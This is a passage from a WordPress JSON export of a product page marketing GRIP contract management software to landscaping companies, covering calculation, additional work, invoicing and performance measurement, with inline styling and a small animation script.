{"id":19576,"date":"2026-07-26T09:38:21","date_gmt":"2026-07-26T07:38:21","guid":{"rendered":"https:\/\/www.grip-facility.com\/organizations\/landscaping\/"},"modified":"2026-07-26T09:38:21","modified_gmt":"2026-07-26T07:38:21","slug":"landscaping","status":"publish","type":"page","link":"https:\/\/www.grip-facility.com\/en\/organizations\/landscaping\/","title":{"rendered":"Contract Management Software for Landscaping Companies | GRIP"},"content":{"rendered":"\n<section class=\"smh-hero\">\n<style>\n.smh-hero { position:relative; overflow:hidden; min-height:600px; display:flex; align-items:center; padding:140px 24px 96px; margin-top:-85px; background-color:#E0341B; background-image:url(\"\/wp-content\/uploads\/2026\/07\/hero-groen-b.jpg\"); background-size:cover; background-position:72% 50%; background-repeat:no-repeat; font-family:'Poppins',sans-serif; }\n.smh-hero::after { content:\"\"; position:absolute; inset:0; pointer-events:none; z-index:1; background-image:linear-gradient(100deg, rgba(224,52,27,.97) 0%, rgba(224,52,27,.92) 26%, rgba(255,75,42,.6) 46%, rgba(255,75,42,.18) 68%, rgba(255,75,42,0) 84%); }\n.smh-hero__inner { position:relative; z-index:2; max-width:1120px; margin:0 auto; width:100%; display:flex; align-items:center; justify-content:space-between; gap:48px; }\n.smh-hero__content { max-width:560px; }\n.smh-hero__eyebrow { display:inline-block; font-size:12px; font-weight:600; letter-spacing:.08em; text-transform:uppercase; color:#fff; background:rgba(255,255,255,.2); padding:6px 14px; border-radius:999px; margin-bottom:24px; }\n.smh-hero__title { font-family:'Poppins',sans-serif; font-size:clamp(2.25rem, 4.4vw, 3.5rem); font-weight:700; line-height:1.12; letter-spacing:-.02em; color:#fff; margin:0 0 20px 0; }\n.smh-hero__title .smh-hero__highlight { color:#0F172A; }\n.smh-hero__subtitle { font-size:18px; line-height:1.6; color:rgba(255,255,255,.94); max-width:520px; margin:0 0 32px 0; }\n.smh-hero__btn { display:inline-flex; align-items:center; gap:8px; background:#fff; color:#E0341B; font-size:16px; font-weight:600; padding:14px 28px; border-radius:8px; text-decoration:none; box-shadow:0 12px 28px rgba(15,23,42,.18); transition:transform .18s ease, box-shadow .18s ease; }\n.smh-hero__btn:hover { transform:translateY(-2px); box-shadow:0 16px 32px rgba(15,23,42,.24); background:#f8fafc; }\n.smh-hero__mockup { flex-shrink:0; width:300px; }\n.smh-hero__mockup-card { background:#fff; border-radius:16px; box-shadow:0 28px 56px rgba(15,23,42,.30), 0 10px 28px rgba(0,107,255,.16), inset 0 0 0 1px rgba(255,255,255,.5); padding:28px 24px; position:relative; z-index:1; }\n.smh-hero__mockup-eyebrow { font-size:11px; font-weight:700; letter-spacing:.08em; text-transform:uppercase; color:#94A3B8; margin:0 0 20px 0; }\n.smh-hero__mockup-row { display:flex; align-items:center; gap:12px; }\n.smh-hero__mockup-dot { flex-shrink:0; width:28px; height:28px; border-radius:50%; color:#fff; font-size:13px; font-weight:700; display:flex; align-items:center; justify-content:center; }\n.smh-hero__mockup-body { flex:1; min-width:0; }\n.smh-hero__mockup-label { display:block; font-size:14px; font-weight:600; color:#0F172A; margin-bottom:6px; }\n.smh-hero__mockup-bar { height:6px; border-radius:999px; background:#EEF2F7; overflow:hidden; }\n.smh-hero__mockup-bar span { display:block; height:100%; border-radius:999px; }\n.smh-hero__mockup-line { width:1px; height:22px; background:#E2E8F0; margin:4px 0 4px 13px; }\n.smh-hero__mockup { position:relative; }\n.smh-hero__mockup::before { content:\"\"; position:absolute; inset:-24px; z-index:0; background:radial-gradient(circle, rgba(0,107,255,.32) 0%, rgba(0,107,255,0) 70%); filter:blur(28px); pointer-events:none; }\n.js-smh-anim .smh-hero__mockup-row { opacity:0; transform:translateX(-10px); }\n.js-smh-anim .smh-hero__mockup-bar span[data-bar-target] { width:0; }\n@keyframes smhBtnGlow { 0%, 100% { box-shadow:0 12px 28px rgba(15,23,42,.18), 0 0 0 0 rgba(255,255,255,0); } 50% { box-shadow:0 12px 28px rgba(15,23,42,.18), 0 0 22px 4px rgba(255,255,255,.55); } }\n.smh-hero__btn { animation:smhBtnGlow 2.8s ease-in-out infinite; }\n@media (prefers-reduced-motion: reduce) {\n  .smh-hero__btn { animation:none; }\n}\n@media (max-width:920px) {\n  .smh-hero { min-height:560px; padding:132px 20px 72px; background-position:60% 42%; }\n  .smh-hero::after { background-image:linear-gradient(180deg, rgba(224,52,27,.95) 0%, rgba(224,52,27,.92) 55%, rgba(255,75,42,.5) 100%); }\n  .smh-hero__inner { flex-direction:column; align-items:flex-start; }\n  .smh-hero__content { max-width:100%; }\n  .smh-hero__mockup { display:none; }\n}\n<\/style>\n<script>\n(function(){\n  var reduce = false;\n  if (window.matchMedia) {\n    if (window.matchMedia('(prefers-reduced-motion: reduce)').matches) { reduce = true; }\n  }\n  if (!reduce) {\n    document.documentElement.className += ' js-smh-anim';\n  }\n})();\n<\/script>\n<div class=\"smh-hero__inner\">\n  <div class=\"smh-hero__content\" data-reveal>\n    <span class=\"smh-hero__eyebrow\">GRIP for landscaping<\/span>\n    <h1 class=\"smh-hero__title\">Sharp calculations.<br>Control over your <span class=\"smh-hero__highlight\">green contracts.<\/span><\/h1>\n    <p class=\"smh-hero__subtitle\">The platform that lets landscaping companies stay in control of their maintenance contracts, from the calculation to the final invoice. One place for your contract terms, your additional work and your proof of performance.<\/p>\n    <a href=\"https:\/\/www.grip-facility.com\/en\/schedule-demo\/\" class=\"smh-hero__btn\">Book a demo <span aria-hidden=\"true\">&rarr;<\/span><\/a>\n  <\/div>\n  <div class=\"smh-hero__mockup\" aria-hidden=\"true\" data-reveal data-reveal-delay=\"150\">\n    <div class=\"smh-hero__mockup-card\">\n      <p class=\"smh-hero__mockup-eyebrow\">One contract, three steps<\/p>\n      <div class=\"smh-hero__mockup-row\">\n        <span class=\"smh-hero__mockup-dot\" style=\"background:#FF4B2A\">1<\/span>\n        <div class=\"smh-hero__mockup-body\">\n          <span class=\"smh-hero__mockup-label\">Calculation<\/span>\n          <div class=\"smh-hero__mockup-bar\"><span data-bar-target=\"70\" style=\"width:70%;background:#FF4B2A\"><\/span><\/div>\n        <\/div>\n      <\/div>\n      <div class=\"smh-hero__mockup-line\"><\/div>\n      <div class=\"smh-hero__mockup-row\">\n        <span class=\"smh-hero__mockup-dot\" style=\"background:#006BFF\">2<\/span>\n        <div class=\"smh-hero__mockup-body\">\n          <span class=\"smh-hero__mockup-label\">Financial management<\/span>\n          <div class=\"smh-hero__mockup-bar\"><span data-bar-target=\"55\" style=\"width:55%;background:#006BFF\"><\/span><\/div>\n        <\/div>\n      <\/div>\n      <div class=\"smh-hero__mockup-line\"><\/div>\n      <div class=\"smh-hero__mockup-row\">\n        <span class=\"smh-hero__mockup-dot\" style=\"background:#334155\">3<\/span>\n        <div class=\"smh-hero__mockup-body\">\n          <span class=\"smh-hero__mockup-label\">Settlement<\/span>\n          <div class=\"smh-hero__mockup-bar\"><span data-bar-target=\"40\" style=\"width:40%;background:#334155\"><\/span><\/div>\n        <\/div>\n      <\/div>\n    <\/div>\n  <\/div>\n<\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#fff;font-family:'Poppins',sans-serif;\">\n<style>\n\/* ---- gedeelde design-tokens, herbruikt in secties verderop op deze pagina ---- *\/\n.sm-eyebrow { display:inline-block; font-size:12px; font-weight:600; letter-spacing:.08em; text-transform:uppercase; padding:5px 14px; border-radius:999px; margin-bottom:16px; }\n.sm-eyebrow--blue { background:#E8F0FF; color:#006BFF; }\n.sm-eyebrow--orange { background:#FFECE7; color:#FF4B2A; }\n.sm-h2 { font-family:'Poppins',sans-serif; font-size:clamp(1.75rem, 3vw, 2.5rem); font-weight:700; color:#0F172A; margin:0 0 12px 0; line-height:1.25; }\n.sm-lede { font-size:16px; color:#64748B; line-height:1.7; margin:0; }\n.sm-section-header { text-align:center; max-width:680px; margin:0 auto 56px; }\n.sm-card { background:#fff; border:1px solid #E2E8F0; border-radius:16px; box-shadow:0 1px 2px rgba(15,23,42,.06); transition:transform .2s ease, box-shadow .2s ease; }\n.sm-card:hover { transform:translateY(-4px); box-shadow:0 12px 28px rgba(15,23,42,.08); }\n.sm-step-card { transition:transform .2s ease, box-shadow .2s ease; }\n.sm-step-card:hover { transform:translateY(-4px); box-shadow:0 12px 28px rgba(15,23,42,.08); }\n.sm-step-arrow { display:flex; align-items:center; justify-content:center; padding:0 14px; font-size:22px; color:#CBD5E1; flex:0 0 auto; }\n@media (max-width:860px) { .sm-step-arrow { display:none; } }\n@media (prefers-reduced-motion: reduce) { .sm-card, .sm-step-card { transition:none; } }\n<\/style>\n<div style=\"max-width:1120px;margin:0 auto;\">\n  <div class=\"sm-section-header\" data-reveal>\n    <span class=\"sm-eyebrow sm-eyebrow--blue\">In practice<\/span>\n    <h2 class=\"sm-h2\">What do you run into as a landscaping company?<\/h2>\n  <\/div>\n  <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(240px, 1fr));gap:24px;\">\n    <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"0\">\n      <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\">\n        <svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z\"\/><path d=\"M14 2v6h6\"\/><line x1=\"9\" y1=\"13\" x2=\"15\" y2=\"13\"\/><line x1=\"9\" y1=\"17\" x2=\"13\" y2=\"17\"\/><\/svg>\n      <\/div>\n      <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Your calculation lives in Excel<\/h3>\n      <p style=\"font-size:14px;color:#64748B;margin:0;line-height:1.65;\">One change in the specification and you are working out which version is still correct. Error-prone, certainly when you run dozens of contracts side by side.<\/p>\n    <\/div>\n    <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"80\">\n      <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\">\n        <svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><polygon points=\"12 2 2 7 12 12 22 7 12 2\"\/><polyline points=\"2 17 12 22 22 17\"\/><polyline points=\"2 12 12 17 22 12\"\/><\/svg>\n      <\/div>\n      <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Additional work disappears into your margin<\/h3>\n      <p style=\"font-size:14px;color:#64748B;margin:0;line-height:1.65;\">An extra mowing round, storm or frost damage, an added stretch of planting. If that does not land on the contract straight away, you invoice it late or not at all.<\/p>\n    <\/div>\n    <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"160\">\n      <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\">\n        <svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M12 22s8-4 8-10V5l-8-3-8 3v7c0 6 8 10 8 10z\"\/><polyline points=\"9 12 11 14 15 10\"\/><\/svg>\n      <\/div>\n      <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Your contract shifts, your price does not<\/h3>\n      <p style=\"font-size:14px;color:#64748B;margin:0;line-height:1.65;\">Areas added, frequencies removed, indexation every year. Without an overview your invoicing lags behind what you actually deliver.<\/p>\n    <\/div>\n    <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"240\">\n      <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\">\n        <svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><rect x=\"3\" y=\"3\" width=\"7\" height=\"7\" rx=\"1\"\/><rect x=\"14\" y=\"3\" width=\"7\" height=\"7\" rx=\"1\"\/><rect x=\"14\" y=\"14\" width=\"7\" height=\"7\" rx=\"1\"\/><rect x=\"3\" y=\"14\" width=\"7\" height=\"7\" rx=\"1\"\/><\/svg>\n      <\/div>\n      <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Everything sits apart<\/h3>\n      <p style=\"font-size:14px;color:#64748B;margin:0;line-height:1.65;\">Planning, time registration and the contract sit in separate systems. The commercial overview is missing.<\/p>\n    <\/div>\n  <\/div>\n<\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#F8FAFC;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--orange\">How it works<\/span>\n      <h2 class=\"sm-h2\">Everything you need to manage your green contract<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:680px;margin:0 auto;\">GRIP consists of three parts that together manage your green contract: sharing your performance, the finances of the contract and the proof that you deliver what was agreed.<\/p>\n    <\/div>\n\n    <div style=\"max-width:760px;margin:0 auto 40px;text-align:center;padding:20px 28px;background:#fff;border:1px solid #E2E8F0;border-radius:12px;\" data-reveal>\n      <p style=\"font-size:14px;color:#475569;line-height:1.7;margin:0;\">GRIP is there for the whole landscaping sector. Landscaping companies manage their contract up to and including post-calculation and invoicing. Consultancies and clients use it for the contract management they run for their own organisation or their customers. All in GRIP, instead of in loose Excel files.<\/p>\n    <\/div>\n\n    <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(260px, 1fr));gap:24px;\">\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"0\">\n        <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\"><svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><line x1=\"4\" y1=\"20\" x2=\"4\" y2=\"12\"\/><line x1=\"10\" y1=\"20\" x2=\"10\" y2=\"4\"\/><line x1=\"16\" y1=\"20\" x2=\"16\" y2=\"9\"\/><line x1=\"21\" y1=\"20\" x2=\"3\" y2=\"20\"\/><\/svg><\/div>\n        <div style=\"font-size:11px;font-weight:700;color:#006BFF;text-transform:uppercase;letter-spacing:.08em;margin-bottom:10px;\">Contract &amp; performance<\/div>\n        <h3 style=\"font-size:18px;font-weight:700;color:#0F172A;margin:0 0 10px 0;line-height:1.3;\">Contract Dashboard<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0 0 16px 0;line-height:1.65;\">Load in your green contract, show your client how you perform and manage actions in one place.<\/p>\n        <a href=\"https:\/\/www.grip-facility.com\/en\/platform\/contract-partner-dashboard\/\" class=\"sm-link\" style=\"color:#006BFF;font-size:14px;font-weight:600;text-decoration:none;\">More about Contract Dashboard &rarr;<\/a>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"80\">\n        <div style=\"width:44px;height:44px;border-radius:12px;background:#FFECE7;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\"><svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#FF4B2A\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><circle cx=\"12\" cy=\"12\" r=\"9\"\/><path d=\"M15.5 8.5A4.5 4.5 0 0 0 9 12a4.5 4.5 0 0 0 6.5 3.5\"\/><line x1=\"7\" y1=\"11\" x2=\"13\" y2=\"11\"\/><line x1=\"7\" y1=\"13.5\" x2=\"13\" y2=\"13.5\"\/><\/svg><\/div>\n        <div style=\"font-size:11px;font-weight:700;color:#FF4B2A;text-transform:uppercase;letter-spacing:.08em;margin-bottom:10px;\">Financial<\/div>\n        <h3 style=\"font-size:18px;font-weight:700;color:#0F172A;margin:0 0 10px 0;line-height:1.3;\">GRIP calculation<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0 0 16px 0;line-height:1.65;\">From contract value and frequencies, through additional work per category and budget hours, to post-calculation: invoice amounts and budget hours go automatically to your ERP or planning tool, settlements and provisions included.<\/p>\n        <a href=\"#calculatie-uitgelicht\" class=\"sm-link\" style=\"color:#FF4B2A;font-size:14px;font-weight:600;text-decoration:none;\">Calculation in detail &darr;<\/a>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"160\">\n        <div style=\"width:44px;height:44px;border-radius:12px;background:#EEF2F7;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\"><svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#334155\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M9 4H7a2 2 0 0 0-2 2v14a2 2 0 0 0 2 2h10a2 2 0 0 0 2-2V6a2 2 0 0 0-2-2h-2\"\/><rect x=\"9\" y=\"2\" width=\"6\" height=\"4\" rx=\"1\"\/><polyline points=\"9 13 11 15 15 11\"\/><\/svg><\/div>\n        <div style=\"font-size:11px;font-weight:700;color:#334155;text-transform:uppercase;letter-spacing:.08em;margin-bottom:10px;\">Quality<\/div>\n        <h3 style=\"font-size:18px;font-weight:700;color:#0F172A;margin:0 0 10px 0;line-height:1.3;\">Performance Measurements<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0 0 16px 0;line-height:1.65;\">Record what you have done and how things look, with questionnaires and audits you set up yourself, including photos from the mobile app. Reports between client and contractor run through the same environment.<\/p>\n        <a href=\"https:\/\/www.grip-facility.com\/en\/platform\/quality-management\/\" class=\"sm-link\" style=\"color:#334155;font-size:14px;font-weight:600;text-decoration:none;\">More about Quality management &rarr;<\/a>\n      <\/div>\n\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section id=\"calculatie-uitgelicht\" style=\"padding:96px 24px;background:#fff;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--orange\">Calculation in detail<\/span>\n      <h2 class=\"sm-h2\">From calculation to invoice, adding up automatically<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:720px;margin:0 auto;\">The financial side of your green contract in one place. You record the contract value and the agreed work, you register additional work the moment it happens, and at the end of the period the invoice amounts per location and the matching budget hours go to your ERP system or planning tool, settlements and provisions included.<\/p>\n    <\/div>\n\n    <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(280px, 1fr));gap:28px;\">\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"0\">\n        <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\"><svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><path d=\"M14 2H6a2 2 0 0 0-2 2v16a2 2 0 0 0 2 2h12a2 2 0 0 0 2-2V8z\"\/><path d=\"M14 2v6h6\"\/><line x1=\"9\" y1=\"13\" x2=\"15\" y2=\"13\"\/><line x1=\"9\" y1=\"17\" x2=\"13\" y2=\"17\"\/><\/svg><\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Contract value and changes<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.65;\">The fixed base price for cyclical maintenance is set in the contract. Changes in area, changes in frequency and indexation are recorded as a change, so the value moves along with reality.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"80\">\n        <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\"><svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><polygon points=\"12 2 2 7 12 12 22 7 12 2\"\/><polyline points=\"2 17 12 22 22 17\"\/><polyline points=\"2 12 12 17 22 12\"\/><\/svg><\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Additional work per category<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.65;\">Pruning, planting, repair after a storm or an extra round: you register it per category with hours and rate, linked to the contract. That way you see per contract what was delivered outside the base price and how much of it has been invoiced.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"160\">\n        <div style=\"width:44px;height:44px;border-radius:12px;background:#E8F0FF;display:flex;align-items:center;justify-content:center;margin-bottom:20px;\"><svg width=\"22\" height=\"22\" viewBox=\"0 0 24 24\" fill=\"none\" stroke=\"#006BFF\" stroke-width=\"2\" stroke-linecap=\"round\" stroke-linejoin=\"round\"><line x1=\"22\" y1=\"2\" x2=\"11\" y2=\"13\"\/><polygon points=\"22 2 15 22 11 13 2 9 22 2\"\/><\/svg><\/div>\n        <h3 style=\"font-size:17px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">Invoicing and settlement<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.65;\">The right invoice amounts and budget hours per location, straight to your ERP or planning tool, provisions included. No recalculation in a separate file.<\/p>\n      <\/div>\n\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#F8FAFC;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--blue\">Why cloud-native<\/span>\n      <h2 class=\"sm-h2\">Current insight, not last week&#8217;s export<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:720px;margin:0 auto;\">Many landscaping companies work with tooling installed at the office: figures that only add up after a manual update and that your client only ever sees as an export. GRIP is built cloud-native, on a different premise.<\/p>\n    <\/div>\n\n    <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(300px, 1fr));gap:32px;align-items:stretch;\">\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;\" data-reveal data-reveal-delay=\"0\">\n        <div style=\"font-size:12px;font-weight:700;color:#94A3B8;text-transform:uppercase;letter-spacing:.08em;margin-bottom:18px;\">Local tools<\/div>\n        <ul style=\"margin:0;padding:0;list-style:none;display:flex;flex-direction:column;gap:14px;\">\n          <li style=\"display:flex;gap:10px;color:#64748B;font-size:14px;line-height:1.6;\"><span aria-hidden=\"true\" style=\"color:#CBD5E1;flex-shrink:0;\">&#10005;<\/span>Data sits locally on one laptop or server<\/li>\n          <li style=\"display:flex;gap:10px;color:#64748B;font-size:14px;line-height:1.6;\"><span aria-hidden=\"true\" style=\"color:#CBD5E1;flex-shrink:0;\">&#10005;<\/span>Updating and refreshing is manual work<\/li>\n          <li style=\"display:flex;gap:10px;color:#64748B;font-size:14px;line-height:1.6;\"><span aria-hidden=\"true\" style=\"color:#CBD5E1;flex-shrink:0;\">&#10005;<\/span>Sharing with your client takes an export<\/li>\n          <li style=\"display:flex;gap:10px;color:#64748B;font-size:14px;line-height:1.6;\"><span aria-hidden=\"true\" style=\"color:#CBD5E1;flex-shrink:0;\">&#10005;<\/span>Every version can hold a different truth<\/li>\n        <\/ul>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"padding:32px 28px;border:2px solid #C7DEFF;\" data-reveal data-reveal-delay=\"80\">\n        <div style=\"font-size:12px;font-weight:700;color:#006BFF;text-transform:uppercase;letter-spacing:.08em;margin-bottom:18px;\">GRIP, cloud-native<\/div>\n        <ul style=\"margin:0;padding:0;list-style:none;display:flex;flex-direction:column;gap:14px;\">\n          <li style=\"display:flex;gap:10px;color:#0F172A;font-size:14px;line-height:1.6;font-weight:500;\"><span aria-hidden=\"true\" style=\"color:#006BFF;flex-shrink:0;\">&#10003;<\/span>One environment, reachable anywhere<\/li>\n          <li style=\"display:flex;gap:10px;color:#0F172A;font-size:14px;line-height:1.6;font-weight:500;\"><span aria-hidden=\"true\" style=\"color:#006BFF;flex-shrink:0;\">&#10003;<\/span>Contract figures are always current<\/li>\n          <li style=\"display:flex;gap:10px;color:#0F172A;font-size:14px;line-height:1.6;font-weight:500;\"><span aria-hidden=\"true\" style=\"color:#006BFF;flex-shrink:0;\">&#10003;<\/span>Your client follows along live through the dashboard<\/li>\n          <li style=\"display:flex;gap:10px;color:#0F172A;font-size:14px;line-height:1.6;font-weight:500;\"><span aria-hidden=\"true\" style=\"color:#006BFF;flex-shrink:0;\">&#10003;<\/span>One truth, for everyone looking at it<\/li>\n        <\/ul>\n      <\/div>\n\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#fff;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--blue\">Tender advantage<\/span>\n      <h2 class=\"sm-h2\">Your proof of performance becomes your tender card<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:660px;margin:0 auto;\">Green maintenance contracts are regularly put back out to tender. Clients who see how you perform during the term enter the conversation differently than clients who only see a bid.<\/p>\n    <\/div>\n\n    <div style=\"display:grid;grid-template-columns:repeat(auto-fit, minmax(240px, 1fr));gap:24px;margin-bottom:40px;\">\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;\" data-reveal data-reveal-delay=\"0\">\n        <div class=\"sm-num-badge\" style=\"width:32px;height:32px;background:#006BFF;color:#fff;border-radius:50%;font-weight:700;font-size:14px;display:flex;align-items:center;justify-content:center;margin-bottom:18px;\">1<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">You show performance, not promises<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">Through the Contract Dashboard you continuously show your client where the contract stands: delivered work, budget and agreements in one overview.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;\" data-reveal data-reveal-delay=\"80\">\n        <div class=\"sm-num-badge\" style=\"width:32px;height:32px;background:#006BFF;color:#fff;border-radius:50%;font-weight:700;font-size:14px;display:flex;align-items:center;justify-content:center;margin-bottom:18px;\">2<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">You keep the conversation factual<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">Discussions about extra work and changes in area run on recorded agreements and registrations, not on email threads.<\/p>\n      <\/div>\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;\" data-reveal data-reveal-delay=\"160\">\n        <div class=\"sm-num-badge\" style=\"width:32px;height:32px;background:#006BFF;color:#fff;border-radius:50%;font-weight:700;font-size:14px;display:flex;align-items:center;justify-content:center;margin-bottom:18px;\">3<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 8px 0;line-height:1.3;\">You bid with evidence<\/h3>\n        <p style=\"color:#64748B;font-size:14px;margin:0;line-height:1.6;\">You enter a new tender with a demonstrable track record instead of just a quote.<\/p>\n      <\/div>\n\n    <\/div>\n\n    <div style=\"max-width:640px;margin:0 auto;text-align:center;\" data-reveal>\n      <p style=\"color:#0F172A;font-size:16px;font-weight:600;margin:0 0 20px 0;line-height:1.6;\">Curious what that could mean for your next tender?<\/p>\n      <a href=\"https:\/\/www.grip-facility.com\/en\/schedule-demo\/\" style=\"display:inline-block;background:#006BFF;color:#fff;font-size:15px;font-weight:600;padding:14px 32px;border-radius:8px;text-decoration:none;box-shadow:0 4px 12px rgba(0,107,255,.24);\">Book a demo<\/a>\n    <\/div>\n\n  <\/div>\n<\/section>\n\n\n\n<section style=\"padding:96px 24px;background:#fff;font-family:'Poppins',sans-serif;\">\n  <div style=\"max-width:1120px;margin:0 auto;\">\n\n    <div class=\"sm-section-header\" data-reveal>\n      <span class=\"sm-eyebrow sm-eyebrow--blue\">On the other side of the contract too<\/span>\n      <h2 class=\"sm-h2\">Manage your green contract alongside your other contracts<\/h2>\n      <p class=\"sm-lede\" style=\"max-width:660px;margin:0 auto;\">Are you the client or the consultancy managing the green maintenance contract rather than carrying it out? Then you work in the same environment.<\/p>\n    <\/div>\n\n    <div style=\"display:flex;flex-wrap:wrap;justify-content:center;gap:24px;\">\n\n      <div class=\"sm-card\" style=\"background:#F8FAFC;padding:28px 24px;flex:1 1 300px;max-width:340px;\" data-reveal data-reveal-delay=\"0\">\n        <div style=\"width:40px;height:40px;background:#E8F0FF;border-radius:10px;display:flex;align-items:center;justify-content:center;margin-bottom:16px;font-size:17px;font-weight:700;color:#006BFF;\">&#10003;<\/div>\n        <h3 style=\"font-size:16px;font-weight:700;color:#0F172A;margin:0 0 6px 0;line-height:1.3;\">Cost insight per work category<\/h3>\n        <p 